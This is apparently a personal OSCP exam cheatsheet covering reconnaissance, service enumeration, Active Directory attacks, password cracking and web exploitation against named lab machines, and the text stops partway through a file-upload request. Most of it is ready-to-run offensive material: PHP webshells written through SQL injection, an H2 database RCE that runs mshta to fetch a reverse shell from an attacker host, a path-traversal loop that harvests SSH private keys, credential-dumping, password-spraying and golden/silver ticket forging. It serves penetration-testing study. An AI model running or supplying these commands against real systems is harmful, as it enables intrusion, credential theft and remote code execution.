OSCP Cheatsheet¶
Labs covered
Secura · Medtech · Relia · OSCP-A/B/C · Zeus · Poseidon · Feast · Laser · PG-Access · PG-Nagoya · PG-Bratarina · PG-ClamAV · PG-Hetemit · PG-Nibbles · PG-Payday · PG-Pebbles · PG-Pelican · PG-Snookums · PG-Algernon · PG-Craft · PG-Internal · PG-Jacko · PG-Kevin · PG-Squid · PG-Amaterasu · PG-Nickel · PG-BillyBoss · PG-DVR4 · PG-Hokkaido
Tools reference
Almost every tools used in this cheatsheet are referenced on the Tools reference table, on the very bottom of this page.
Enumeration¶
Passive Enumeration¶
# WHOIS
whois $DOMAIN
# DNS records
host $DOMAIN
host -t MX $DOMAIN
host -t TXT $DOMAIN
# DNS zone transfer
dig axfr $DOMAIN @$DNS_SERVER
for NS in $(host -t ns $DOMAIN | cut -d ' ' -f 4); do host -l $DOMAIN $NS; done
# DNS brute-force
dnsrecon -d $DOMAIN -D ~/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -t brt
dnsenum $DOMAIN
# Google dorks
site:$DOMAIN filetype:pdf
site:$DOMAIN intitle:"index of" "parent directory"
site:$DOMAIN ext:php -filetype:html
# Shodan
hostname:$DOMAIN
hostname:$DOMAIN port:"22"
# SSL/TLS & Security Headers
# https://securityheaders.com
# https://www.ssllabs.com/ssltest/
Checklist
- WHOIS lookups - registrant, nameservers, emails
- DNS records - A, MX, TXT, NS
- DNS zone transfer (
dig axfr) - Google dorks -
filetype:pdf,intitle:"index of",ext:php - Shodan - open ports, banners, exposed services
- GitHub / GitLab - search org for leaked credentials, configs
- Security Headers / SSL Labs - cipher suites, vulnerabilities (POODLE, Heartbleed)
Network Scanning¶
# Full TCP scan (all ports, no ping)
nmap -sT -p- -T5 $TARGET -Pn -oN $TARGET.nmap
# Service version + default scripts
nmap -sV -sC -p $PORTS $TARGET -oN $TARGET.full.nmap
# UDP - SNMP
nmap -sU -p 161 --script snmp-info $TARGET
# Ping sweep
nmap -sn $TARGET/24
nmap -sn $TARGET/24 | grep -oE '\b([0-9]{1,3}\.){3}[0-9]{1,3}\b'
# nxc SMB sweep (also identifies hosts without SMB signing)
nxc smb $TARGET/24
nxc smb $TARGET/24 --gen-relay-list relay_list.txt
# Bash ping sweep (no nmap)
for i in {1..255}; do (ping -c 1 192.168.1.$i | grep "bytes from" &); done
# PowerShell ping sweep
for ($i=1; $i -lt 255; $i++) { ping -n 1 192.168.1.$i | findstr "TTL" }
# Bash TCP
for i in {1..65535}; do (echo > /dev/tcp/$TARGET/$i) >/dev/null 2>&1 && echo "$i is open"; done
# PowerShell TCP
1..1024 | % { echo ((new-object Net.Sockets.TcpClient).Connect("$TARGET",$_)) "Port $_ is open" } 2>$null
Checklist
- Full TCP port scan (
-p-) - Service/version scan on open ports (
-sV -sC) - UDP scan - at least SNMP (161)
- Check for unusual ports (VoIP 5060/5080, JDWP 8000, FreeSWITCH 8021)
- Host discovery sweep - nmap / nxc SMB ping sweep
- Check
nxc smb --gen-relay-list- hosts without SMB signing (relay candidates)
Web Enumeration¶
feroxbuster -k -u http://$TARGET -w /usr/share/wordlists/raft-large-directories.txt
feroxbuster -k -u http://$TARGET -w ~/wordlists/SecLists/Discovery/Web-Content/Java-Spring-Boot.txt
# Exposed .git dump
git_dumper.py http://$TARGET/.git/ ./TARGET.git
# DNS zone transfer
dig axfr $DOMAIN @$DNS_SERVER
# PDF metadata - username extraction
wget -r -A "*.pdf" http://$TARGET/pdfs/
exiftool *.pdf | grep -i author
# Find hidden GET params
ffuf -u 'http://$TARGET:$PORT/endpoint?PARAM=val' \
-w ~/wordlists/SecLists/Discovery/Web-Content/burp-parameter-names.txt:PARAM \
-ms 0-15,17-9999999
# Find hidden POST params (filter by default size)
ffuf -u 'http://$TARGET:$PORT/verify?PARAM=val' \
-w ~/wordlists/SecLists/Discovery/Web-Content/burp-parameter-names.txt:PARAM \
-fs $DEFAULT_SIZE
# CMS fingerprinting
whatweb $TARGET
# WordPress
wpscan --url http://$TARGET --enumerate u,vp --plugins-detection aggressive
# Joomla
python main.py -u $TARGET # https://github.com/oppsec/juumla
# Drupal
droopescan scan drupal -u $TARGET -t 32
# nikto
nikto -host $TARGET -port $PORT -C all
# Gobuster with pattern file
# pattern.txt contains: {GOBUSTER}/v1
# {GOBUSTER}/v2
gobuster dir -u http://$TARGET:5002 -w /usr/share/wordlists/dirb/big.txt -p pattern.txt
Checklist
-
feroxbusterdirectory brute-force - Look for exposed
.git-git_dumper.py - Check config files in git history (
git log,git show) - PDF files -
exiftool- usernames - DNS zone transfer (
dig axfr) - Check
/CHANGELOG,/debug.txt,robots.txt,/install.php - Check web app version - searchsploit
-
ffufparameter fuzzing on custom API endpoints - Enumerate exposed Rails routes (
/rails/info/routes) on dev apps - Check REST API help endpoints (
/help,/info,/api) -
whatwebfor CMS/framework fingerprinting -
niktofull scan - WordPress -
wpscan- user + plugin enum - Joomla - juumla; Drupal - droopescan
- API versioning - gobuster with pattern file (
/v1,/v2)
SMTP / Email¶
# User enumeration via RCPT TO
smtp-user-enum -m RCPT \
-U ~/wordlists/SecLists/Usernames/xato-net-10-million-usernames.txt \
$TARGET 25
# SMTP password brute-force
hydra -l $USER -P passwords.txt -f $TARGET smtp -V
hydra -l $USER@$DOMAIN -P passwords.txt -f $TARGET smtp -V
# POP3 brute-force
hydra -l $USER -P passwords.txt -f $TARGET pop3 -V
Checklist
- SMTP user enumeration
- SMTP/POP3 brute-force with found users
- Read emails for credentials / internal info
- Check Sendmail/OpenSMTPD version - searchsploit (e.g. CVE-2007-4560, CVE-2020-7247)
POP3¶
Checklist
- POP3 login with found credentials
- Read all messages - look for credentials, internal info
- Brute-force if no creds found
FTP¶
ftp $TARGET
# Try: anonymous / anonymous
# Try: ftp / ftp
# Try: $USER / $USER
# Download all files recursively
wget -r ftp://$USER:$PASS@$TARGET
# Brute-force if anonymous fails
hydra -L users.txt -P passwords.txt ftp://$TARGET
Checklist
- Anonymous FTP login
- Download all files - check for credentials, PDFs, keys
- Brute-force if anonymous fails
SMB¶
# List shares
nxc smb $TARGET -u 'anonymous' -p '' --shares
# Spider + download all files
nxc smb $TARGET -u 'anonymous' -p '' -M spider_plus -o DOWNLOAD_FLAG=True
# List shares
nxc smb $TARGET -u "$USER" -p "$PASS" --shares
# Interactive browsing
smbclientng --host $TARGET -u "$USER" -p "$PASS" -d $DOMAIN
# Spray user list against password list
nxc smb $TARGET -u users.txt -p passwords.txt --no-bruteforce
# Remote command execution
nxc smb $TARGET -u "$USER" -p "$PASS" -x "whoami"
# nuclei
nuclei -t network/cves/2020/CVE-2020-0796.yaml -u $TARGET
# nxc module
nxc smb $TARGET -M smbghost
# [+] Potentially vulnerable to SMBGhost (CVE-2020-0796)
# -> use EDB-48267 / PoC exploit for LPE or RCE
Checklist
- Anonymous share access
- Authenticated share enumeration
- Spider all shares for sensitive files (config, docx, txt, pdf, zip, kdbx, id_rsa)
- Check for PowerShell transcripts - credential leak
- Check for log files - hash/credential leak
- SMB spray all creds across network
- RID brute-force (
--rid-brute) to enumerate users - Check password policy (
--pass-pol) - SMBGhost CVE-2020-0796 -
nxc smb -M smbghost/nuclei
SMB Quick wins
nxc smb $TARGET -u $USER -p $PASS -M coerce_plus -M zerologon -M nopac -M printnightmare -M smbghost -M ms17-010 -M ntlm_reflection
Warning
As i didn't use these module during my exam, idk if some of them are restricted due to the OSCP exam policy (automated exploitation tools restriction). Be careful when using it if you're passing the exam & always ask before to the proctor.
RPC¶
# Nmap scripts
nmap --script msrpc-enum -p 135 $TARGET
nmap -sSUC -p 111 $TARGET
# rpcinfo
rpcinfo $TARGET
rpcinfo $TARGET | grep ypbind # NFS indication
# impacket - check for EternalBlue-related interfaces
impacket-rpcdump -port 135 $TARGET | grep -E 'MS-EFSRPC|MS-RPRN|MS-PAR'
# MS-EFSRPC → PetitPotam; MS-RPRN / MS-PAR → PrintNightmare
rpcclient -N -U "" $TARGET # anonymous
rpcclient -U $USER $TARGET # authenticated
rpcclient -k $TARGET # Kerberos auth
# Inside rpcclient:
# srvinfo → server info
# enumdomains → enumerate domains
# enumdomusers → enumerate domain users
# enumdomgroups → enumerate domain groups
# querydominfo → domain info
# getusername → current username
Checklist
-
rpcclientnull session -enumdomusers,enumdomgroups -
impacket-rpcdump- check for PetitPotam (MS-EFSRPC) / PrintNightmare (MS-RPRN) -
rpcinfo- check for NFS (ypbind)
NFS¶
# Nmap
nmap -v -sV -p 111 --script rpcinfo $TARGET
nmap -v -p 111 --script nfs* $TARGET
# List exports
showmount -e $TARGET
# Mount share
mkdir /tmp/nfs_mount
mount -t nfs -o vers=4 $TARGET:/share /tmp/nfs_mount -o nolock
Checklist
-
showmount -e- list NFS exports - Mount shares - read sensitive files (
/etc/shadow, SSH keys, configs) - Check
/etc/exportspermissions -no_root_squashfor root access
LDAP¶
# Nmap
nmap -v -n -sV --script "ldap* and not brute" $TARGET
# ldapsearch (anonymous)
ldapsearch -h $TARGET -bx "DC=$DOMAIN,DC=$TLD"
# windapsearch
windapsearch --dc $TARGET --module users
# nxc - basic checks
nxc ldap $TARGET -u "$USER" -p "$PASS" --users
nxc ldap $TARGET -u "$USER" -p "$PASS" -k --get-sid
Full AD ldap enumeration
For --users-export, --bloodhound, and full collection — see AD Recon → Linux.
Checklist
- LDAP anonymous bind - enumerate users, groups, domain info
-
windapsearchfor clean output -
nxc ldap --users/--active-users - Get domain SID (
--get-sid) - Full BloodHound + user export → see AD Recon section
SNMP¶
# Standard walk
snmpwalk -c public -v1 -t 10 $TARGET -Oa
snmp-check $TARGET
# Specific OIDs
snmpwalk -c public -v1 $TARGET 1.3.6.1.4.1.77.1.2.25 # Windows users
snmpwalk -c public -v1 $TARGET 1.3.6.1.2.1.25.4.2.1.2 # Running processes
snmpwalk -c public -v1 $TARGET 1.3.6.1.2.1.25.6.3.1.2 # Installed software
snmpwalk -c public -v1 -Oa $TARGET 1.3.6.1.2.1.2.2.1.2 # Interface names
snmpwalk -c public -v1 $TARGET 1.3.6.1.2.1.6.13.1.3 # TCP listening ports
# Extended objects - may reveal scripts/binaries with hardcoded passwords
snmpwalk -v2c -c public $TARGET NET-SNMP-EXTEND-MIB::nsExtendObjects
snmpwalk -v2c -c public $TARGET NET-SNMP-EXTEND-MIB::nsExtendOutputFull
Checklist
- Brute-force community string
- Full SNMP walk
- Check
NET-SNMP-EXTEND-MIB::nsExtendObjectsfor scripts/binaries - Analyze returned binaries with
stringsfor hardcoded credentials
Database Enumeration¶
-- Enable xp_cmdshell for RCE
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
EXEC xp_cmdshell 'whoami';
-- Enumerate databases and tables
enum_db
SELECT table_name FROM information_schema.tables;
SELECT column_name, data_type FROM information_schema.columns WHERE table_name = '$TABLE';
SELECT * FROM $TABLE;
-- Read arbitrary files via OPENROWSET
SELECT * FROM OPENROWSET(BULK 'C:\Windows\System32\drivers\etc\hosts', SINGLE_CLOB) AS Contents;
-- Enumerate and exploit impersonation
enum_impersonate
exec_as_login $LOGIN_NAME
use $DB_NAME
mssql_priv module caveat
nxc mssql -M mssql_priv only detects impersonation correctly when given a single -u username, not a user list file.
So check for impersonation manually to avoid false positives
-- Check version
SELECT H2VERSION() FROM DUAL;
-- JNI RCE (H2 1.4.x - EDB-49384)
CALL JNIScriptEngine_eval(
'new java.util.Scanner(
java.lang.Runtime.getRuntime().exec("whoami").getInputStream()
).useDelimiter("\\Z").next()'
);
-- Trigger mshta reverse shell
CALL JNIScriptEngine_eval(
'new java.util.Scanner(
java.lang.Runtime.getRuntime().exec(
"mshta http://$ATTACKER:8000/revshell.hta"
).getInputStream()
).useDelimiter("\\Z").next()'
);
Checklist
- Try unauthenticated MySQL root (no password)
- Enumerate all databases and interesting tables
- MongoDB: try unauthenticated connection
- MSSQL: enable
xp_cmdshell- RCE - MSSQL:
xp_dirtree- NTLMv2 capture with Responder/smbserver - MSSQL:
nxc mssql -M mssql_priv- check impersonation (use single-u, not a list) - MSSQL:
enum_impersonate→exec_as_login→ switch DB → dump tables - MSSQL:
OPENROWSET(BULK ...)- read arbitrary files on server - SQLite files in web app directory
- PostgreSQL: try unauthenticated as
postgres-COPY TO PROGRAMfor RCE - H2 Database web console (port 8082): check version - JNI RCE (EDB-49384)
- phpmyadmin exposed (via proxy): try root no password -
SELECT INTO OUTFILEwebshell
Squid Proxy¶
# Test if proxy is open and responding
curl -v -x http://$TARGET:3128 http://google.com
# Enumerate internal ports/services accessible via proxy with spose (goat: https://github.com/aancw/spose)
python spose.py --proxy http://$TARGET:3128 --target $TARGET
# Browse internal service through proxy
curl -v -x http://$TARGET:3128 http://$TARGET:$INTERNAL_PORT
SELECT "<?php system($_GET['cmd']);?>"
INTO OUTFILE "C:/wamp/www/shell.php";
Checklist
- Port 3128 open - Squid proxy - enumerate accessible internal services with
spose.py - Access internal web services through proxy (
curl -x) - Check for phpmyadmin on internal port - root no password -
SELECT INTO OUTFILEwebshell - Check
phpinfo()- findDOCUMENT_ROOT- write webshell to correct path - Use
proxychains+ nmap for full internal port scan
Active Directory¶
AD Recon¶
# BloodHound collection
bloodhound-ce-python -d $DOMAIN -u "$USER" -p "$PASS" \
-ns $DC_IP -c All --zip
# BloodHound via nxc (no SharpHound needed)
nxc ldap $DC_IP -u "$USER" -p "$PASS" --bloodhound --collection All \
--dns-server $DC_IP -d $DOMAIN
# Export full user list
nxc ldap $DC_IP -u "$USER" -p "$PASS" --users --users-export adusers.txt
# Domain SID enumeration
lookupsid.py "$DOMAIN/$USER:$PASS@$DC_IP" 0
# Username enumeration (no creds needed)
kerbrute userenum --dc $DC_IP -d $DOMAIN users.txt
# Brute-force single user with rockyou
kerbrute bruteuser --dc $DC_IP -d $DOMAIN ~/wordlists/rockyou.txt "$USER"
# Password spray (season passwords: Spring2023, Summer2024, etc.)
kerbrute passwordspray -d $DOMAIN --dc $DC_IP users.txt "Spring2023"
# user:user self-spray (weak passwords = username as password)
nxc smb $DC_IP -u adusers.txt -p adusers.txt --no-bruteforce --continue-on-success
User:user spray
Always try username-as-password after building a user list. Accounts like info:info or discovery:discovery are common in AD labs.
Import-Module .\PowerView.ps1
# Users & computers
Get-NetUser | select cn, description
Get-NetComputer | select operatingsystem,dnshostname
Find-LocalAdminAccess
Get-NetSession -Verbose
# Groups
Get-NetGroup 'Domain Admins' | select member
# SPN enumeration
Get-NetUser -SPN | select samaccountname,serviceprincipalname
# Shares
Find-DomainShare
cat \\dc1.corp.com\sysvol\corp.com\Policies\oldpolicy\old-policy-backup.xml
# ACEs - find abusable permissions
Get-ObjectAcl -Identity "$USER"
Convert-SidToName S-1-5-21-...-1104
Get-ObjectAcl -Identity "Management Department" | Where-Object {
$_.ActiveDirectoryRights -eq "GenericAll"
} | Select-Object @{Name="Name";Expression={Convert-SidToName $_.SecurityIdentifier}}, ActiveDirectoryRights
Always run BloodHound first
Mark owned nodes immediately and use pathfinding to DA before trying any manual AD attacks.
Checklist
- BloodHound full collection
-
kerbrute userenum- valid username list (no creds needed) -
kerbrute bruteuser- single-user brute-force with rockyou -
kerbrute passwordspray- season/default passwords against all users - user:user self-spray -
nxc smb --no-bruteforcewith same user/pass list - Check BloodHound for: DA path, GenericAll, WriteDACL, Backup Operators, DCSync rights
- Enumerate scheduled tasks
- Check AD trusts (
get-adtrust -filter *) - Domain SID enumeration for inter-forest attacks
- PowerView
Find-LocalAdminAccess- machines where current user is local admin - PowerView
Get-DomainShare- find readable shares across domain - Check SYSVOL / GPP for stored passwords (
Get-GPPPassword) - Check
net accountsfor password policy
Group Policy Passwords (GPP)¶
# Check for Groups.xml, scheduledtasks.xml, etc. in SYSVOL
smbclient \\\\$DC_IP\\SYSVOL -U "$DOMAIN/$USER%$PASS"
find /tmp/sysvol -name "*.xml" -exec grep -l "cpassword" {} \;
# Hunt for plain-text password files in NETLOGON / SYSVOL (e.g. password_reset.txt)
nxc smb $DC_IP -u "$USER" -p "$PASS" -M spider_plus -o DOWNLOAD_FLAG=True
# Then grep: grep -ri "password\|initial\|welcome" /tmp/nxc_spider_plus/
Checklist
- Spider SYSVOL for
Groups.xml/cpasswordentries - Decrypt GPP password with
gpp-decrypt - Hunt NETLOGON/SYSVOL for plain-text password files (
password_reset.txt,welcome.txt, etc.) withspider_plus
Kerberoasting & ASREPRoasting¶
$ldapFilter = "(&(objectclass=user)(objectcategory=user)(servicePrincipalName=*))"
$domain = New-Object System.DirectoryServices.DirectoryEntry
$search = New-Object System.DirectoryServices.DirectorySearcher
$search.SearchRoot = $domain
$search.Filter = $ldapFilter
$search.SearchScope = "Subtree"
$results = $search.FindAll()
foreach ($result in $results) {
$userEntry = $result.GetDirectoryEntry()
Write-Host "User:" $userEntry.name
foreach ($SPN in $userEntry.servicePrincipalName) {
Write-Host "SPN:" $SPN
}
}
# Request TGS ticket
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken `
-ArgumentList "$SPN"
# Export tickets (Mimikatz)
.\mimikatz "kerberos::list /export"
# Or use Invoke-Kerberoast
Import-Module .\Invoke-Kerberoast.ps1
Invoke-Kerberoast -Domain $DOMAIN -OutputFormat Hashcat | fl
Checklist
- Kerberoasting - hashcat
-m 13100 - ASREPRoasting - hashcat
-m 18200 - Manual Kerberoasting from Windows foothold (no impacket)
ACL / BloodHound-Driven Attacks¶
bloodyAD -d $DOMAIN --dc-ip $DC_IP -u "$USER" -p "$PASS" \
set password "$TARGET_USER" 'P@ssword2026'
bloodyAD -d $DOMAIN --dc-ip $DC_IP -u "$USER" -p "$PASS" \
set object "$TARGET_USER" servicePrincipalName -v 'FAKESPN/test'
nxc ldap $DC_IP -u "$USER" -p "$PASS" --kerberoasting kerberoasted.txt
hashcat -m 13100 kerberoasted.txt ~/wordlists/rockyou.txt
python dacledit.py -action 'write' -rights 'DCSync' \
-principal "$USER" -target-dn 'DC=domain,DC=com' \
"$DOMAIN/$USER:$PASS"
secretsdump.py "$DOMAIN/$USER:$PASS@$DC_IP"
Chain example - Nagoya lab
# 1. Spray -> low-priv user
kerbrute passwordspray -d $DOMAIN --dc $DC_IP users.txt "Spring2023"
# 2. Force password along ACL chain
bloodyAD -d $DOMAIN --dc-ip $DC_IP \
-u 'Craig.Carr' -p 'Spring2023' \
set password 'svc_helpdesk' 'P@ssword2026'
bloodyAD -d $DOMAIN --dc-ip $DC_IP \
-u 'svc_helpdesk' -p 'P@ssword2026' \
set password 'christopher.lewis' 'P@ssword2026'
# 3. Test WinRM access
nxc winrm $DC_IP -u adusers.txt -p adpasswords.txt \
--no-bruteforce --continue-on-success
Checklist
- BloodHound: mark owned nodes, find DA path
- Check for: GenericAll, WriteDACL, ForceChangePassword, AddSelf, WriteOwner
- Force password change on target accounts (GenericAll)
- Targeted Kerberoasting via fake SPN
- WriteDACL - grant DCSync rights - secretsdump
GPO Abuse¶
pygpoabuse.py "$DOMAIN/$USER:$PASS" \
-gpo-id "$GPO_GUID" \
-dc-ip $DC_IP
# Creates local admin: john:H4x00r123..
Checklist
- Check BloodHound for GPO write permissions -
pygpoabuse.py - Force GPO update after abuse
Silver Ticket¶
# Forge ticket
ticketer.py \
-nthash "$SERVICE_NTHASH" \
-domain-sid "$DOMAIN_SID" \
-domain "$DOMAIN" \
-spn 'MSSQLSvc/$HOST.$DOMAIN' \
'Administrator'
export KRB5CCNAME="$(pwd)/Administrator.ccache"
# Connect and enable xp_cmdshell -> RCE -> SeImpersonate -> GodPotato
mssqlclient.py -k -no-pass $HOST.$DOMAIN
No DA required
Silver Tickets only need the service account NT hash - not domain admin rights. Very useful when Kerberoasting yields a cracked service account hash.
Checklist
- Get service account NT hash (secretsdump / Kerberoasting crack)
- Get domain SID (
lookupsid.pyorwhoami /user) - Forge Silver Ticket for MSSQL or CIFS - gain access without DA
Inter-Forest Trust Abuse (SID History)¶
DCSync¶
secretsdump.py "$DOMAIN/$USER:$PASS@$DC_IP"
secretsdump.py "$DOMAIN/$USER@$DC_IP" -hashes ':$NTHASH'
Backup Operators path
Backup Operators can reset the machine account password of the DC and then DCSync without being Domain Admin.
Golden Ticket¶
# Step 1 - get krbtgt hash from DC
privilege::debug
lsadump::lsa /patch # run on DC
# Step 2 - purge existing tickets
kerberos::purge
# Step 3 - forge golden ticket
kerberos::golden /user:$USER /domain:$DOMAIN /sid:$DOMAIN_SID /krbtgt:$KRBTGT_HASH /ptt
misc::cmd
# Step 4 - lateral movement
PsExec.exe \\$TARGET cmd
# Dump krbtgt hash
secretsdump.py -hashes :$NTHASH "$DOMAIN/$USER@$DC_IP" | grep krbtgt
# Forge ticket
ticketer.py \
-nthash "$KRBTGT_NTHASH" \
-domain-sid "$DOMAIN_SID" \
-domain "$DOMAIN" \
'Administrator'
export KRB5CCNAME="$(pwd)/Administrator.ccache"
psexec.py -k -no-pass "$DOMAIN/Administrator@$DC_IP"
AD Persistence¶
Post-DA persistence
For adding local admin users, enabling RDP, and planting SSH authorized keys — see the Persistence section below.
Exploitation¶
Password Attacks¶
# SSH
hydra -l $USER -P ~/wordlists/rockyou.txt ssh://$TARGET
hydra -L users.txt -P passwords.txt ssh://$TARGET
# FTP
hydra -L users.txt -P passwords.txt ftp://$TARGET
# HTTP Basic Auth
hydra -L users.txt -P passwords.txt $TARGET http-get -V
# HTTP POST form (standard)
hydra -L users.txt -P passwords.txt $TARGET http-post-form \
"/login:username=^USER^&password=^PASS^:F=Invalid"
# HTTP POST form with base64-encoded credentials (e.g. Sonatype Nexus)
# ^USER64^ and ^PASS64^ are auto base64-encoded by hydra
hydra -L wordlist.txt -P wordlist.txt -f $TARGET -s 8081 http-post-form \
"/service/rapture/session:username=^USER64^&password=^PASS64^:F=403" -I
# Wordlist: cewl --lowercase http://$TARGET:8081/ | grep -v CeWL > wordlist.txt
# cewl - crawl website for wordlist
cewl $TARGET_URL -w wordlist.txt
docker run -it --rm -v "${PWD}:/host" ghcr.io/digininja/cewl [OPTIONS] ... <url>
# crunch - generate by charset/pattern
crunch 9 9 -t ,@@@@^%%% # pattern: Upper,4xLower,Special,3xDigit
crunch 4 6 0123456789abcdef -o wordlist.txt
# crunch - append special chars to a known base password
# useful when password policy requires a special char suffix
crunch 11 11 '!@#$%^&*()_+-=[]{}|;:,.<>?/~`"' -t BasePasswd@ -o wordlist.txt
# Example: generates BasePasswd!, BasePasswd@, BasePasswd$, ...
# hashcat rules - test before cracking
echo "$1" > myrule.rule
hashcat -r myrule.rule --stdout base_wordlist.txt
# Apply rules
hashcat -m $MODE $HASH wordlist.txt -r /usr/share/hashcat/rules/best64.rule
hashcat -m $MODE $HASH wordlist.txt -r /usr/share/hashcat/rules/rockyou-30000.rule
# SSH key
ssh2john $KEY_FILE > $KEY_FILE.hash
john --wordlist=~/wordlists/rockyou.txt $KEY_FILE.hash
# ZIP
zip2john $FILE.zip > $FILE.hash
john --wordlist=~/wordlists/rockyou.txt $FILE.hash
# KeePass
keepass2john $FILE.kdbx > $FILE.hash
hashcat -m 13400 $FILE.hash ~/wordlists/rockyou.txt
# Password-protected PDF
pdfrip -f $FILE.pdf wordlist ~/wordlists/rockyou.txt
# https://github.com/mufeedvh/pdfrip
hashcat -m 0 $HASH ~/wordlists/rockyou.txt # MD5
hashcat -m 400 $HASH ~/wordlists/rockyou.txt # WordPress phpass
hashcat -m 1800 $HASH ~/wordlists/rockyou.txt # SHA-512 crypt ($6$)
hashcat -m 5600 $HASH ~/wordlists/rockyou.txt # NTLMv2
hashcat -m 13100 $HASH ~/wordlists/rockyou.txt # Kerberoast TGS-REP
hashcat -m 18200 $HASH ~/wordlists/rockyou.txt # ASREPRoast
hashcat -m 13400 $HASH ~/wordlists/rockyou.txt # KeePass
Checklist
- Spray all found credentials against all services
- Crack all captured hashes (NTLMv2, TGS, ASREPRoast, MD5, phpass)
- Try password reuse across users and machines
- Crack SSH/ZIP/KeePass if found
- Try default credentials (admin:admin, root:(empty), user:user)
Web Application Exploitation¶
SQL Injection¶
DB fingerprinting
Trigger an error first to identify the backend: append ', ", -- -, ; to any parameter and observe the error message. MSSQL shows .NET / Sql Client errors, MySQL shows mysql_fetch, PostgreSQL shows pg_query, SQLite shows sqlite3_.
' ORDER BY 1 -- -
' ORDER BY 2 -- -
' ORDER BY 3 -- - -- repeat until error → that number - 1 is the column count
-- Find tables in current database
1' AND 1=2 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database() -- -
-- Find columns
1' AND 1=2 UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='users' -- -
-- Extract credentials
1' AND 1=2 UNION SELECT 1,group_concat(username,0x3a,password),3 FROM users -- -
-- Read file (requires FILE privilege)
SELECT LOAD_FILE('/etc/passwd');
SELECT LOAD_FILE('/etc/httpd/conf/httpd.conf'); -- find webroot
-- Write webshell (requires FILE privilege + writable webroot)
SELECT '<?php system($_GET["cmd"]);?>' INTO OUTFILE '/var/www/html/shell.php';
-- Via UNION injection
' UNION SELECT "<?php system($_GET['cmd']);?>", null, null INTO OUTFILE "/var/www/html/shell.php" -- //
-- Error-based: CAST type mismatch leaks data inside the error message
'+AND+1337=CAST('~'||(SELECT+current_database())::text||'~'+AS+NUMERIC)+--+-
'+AND+1337=CAST('~'||(SELECT+usename+FROM+pg_shadow+LIMIT+1)::text||'~'+AS+NUMERIC)+--+-
'+AND+CAST((SELECT+version())+AS+INT)=1337+--+-
-- Time-based blind
'; SELECT pg_sleep(5); --
' OR 1=1; SELECT pg_sleep(5); --
-- Column count
' ORDER BY 1 -- -
' ORDER BY 2 -- -
-- Extract tables
' UNION SELECT NULL,table_name,NULL FROM information_schema.tables WHERE table_schema='public' -- -
-- Extract columns
' UNION SELECT NULL,column_name,NULL FROM information_schema.columns WHERE table_name='users' -- -
-- Extract data
' UNION SELECT NULL,username||':'||password,NULL FROM users -- -
-- List tables
' UNION SELECT NULL, group_concat(name), NULL FROM sqlite_master WHERE type='table' --
-- Get table schema (column names)
' UNION SELECT NULL, sql, NULL FROM sqlite_master WHERE type='table' AND name='users' --
-- Extract data
' UNION SELECT NULL, group_concat(username||':'||password), NULL FROM users --
# GET parameter
sqlmap -u "http://$TARGET/page.php?id=1" --dbs
# POST - request file from Burp
sqlmap -r request-post.txt -p uid --dbs
sqlmap -r request-post.txt -p uid -D $DB -T users --dump
# Specify DBMS to speed up
sqlmap -u "http://$TARGET/?id=1" --dbms=mysql --dbs
--level=5 --risk=3 # more thorough testing
--batch # non-interactive / auto-confirm
--os-shell # attempt OS shell via INTO OUTFILE or xp_cmdshell
--technique=T # T=time, E=error, U=union, B=boolean, S=stacked
--dump-all # dump all accessible databases
--threads=5 # parallel requests
--tamper=space2comment # bypass WAF
Checklist
- Fuzz every parameter with
',",-- -,;and observe errors - Identify DB type from error messages
- Test login forms for auth bypass (
' or 1=1--) - UNION injection - find column count with
ORDER BY - Extract credentials from
users/accountstables - MySQL: try
INTO OUTFILEwebshell if FILE privilege available - MSSQL: enable
xp_cmdshellfor RCE (requires sysadmin) - PostgreSQL: CAST error-based to leak data in error output
- SQLite: dump
sqlite_masterfor schema - Use
sqlmap -ron any captured POST request
LFI / Path Traversal¶
# Auto-extract SSH keys for all users
for user in $(curl -s --path-as-is "http://$TARGET/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd" \
| cut -d ':' -f 1); do
for key in id_rsa id_dsa id_ecdsa id_ecdsa-sk id_ed25519 id_ed25519-sk id_eddsa; do
curl -s --path-as-is \
"http://$TARGET/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/home/$user/.ssh/$key" \
| grep -A 9999 "BEGIN OPENSSH PRIVATE KEY"
done
done
# Linux
/etc/passwd
/etc/shadow
/home/$USER/.ssh/id_rsa
/proc/self/environ
/var/log/apache2/access.log # log poisoning
# Windows
C:\Windows\win.ini
C:\inetpub\wwwroot\web.config
POST-Only API Endpoints¶
# If a web form submits to an endpoint that returns "Cannot GET /endpoint"
# the app may only accept POST requests
curl -X POST "http://$TARGET:$PORT/list-running-procs" --data ""
curl -X POST "http://$TARGET:$PORT/list-current-deployments" --data ""
curl -X POST "http://$TARGET:$PORT/list-active-nodes" --data ""
DevOps / internal dashboards
Internal management dashboards often expose sensitive process listings, deployment configs or node info via POST-only endpoints. Check every button/form action URL with curl -X POST.
Internal HTTP Service¶
# interact locally
curl "http://127.0.0.1:8080/?whoami"
# URL-encode the command if the endpoint takes a query param as a command
curl "http://127.0.0.1:8080/?type%20C:\Users\Administrator\Desktop\proof.txt"
Command injection via query string
Some internal admin services pass the URL query string directly to cmd.exe (e.g. /?$CMD). URL-encode spaces as %20 and special chars accordingly.
IDOR¶
- Replace IDs in URL / headers / body: /users/01 → /users/02
- Try parameter pollution: users=01&users=02
- Wildcard: /users/01* or /users/*
- Old API versions: /api/v3/users/01 → /api/v1/users/02
- Add extensions: /users/02.json
- Change HTTP method: POST → GET, PUT, PATCH
- Check Referer header bypass
- Try GUIDs: 00000000-0000-0000-0000-000000000000
- Decode/crack encrypted IDs with hashes.com
- Chain IDOR with XSS for account takeover
File Upload Bypass¶
POST /upload.php HTTP/1.1
Host: 192.168.1.100
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="shell.php......"
Content-Type: application/octet-stream
<?php system($_GET['cmd']); ?>
------WebKitFormBoundary--
Windows file naming behavior
Windows automatically strips trailing dots and spaces from filenames. A file uploaded as shell.php...... will be saved as shell.php on disk, bypassing file extension filters that check the uploaded filename.
POST /upload.php HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
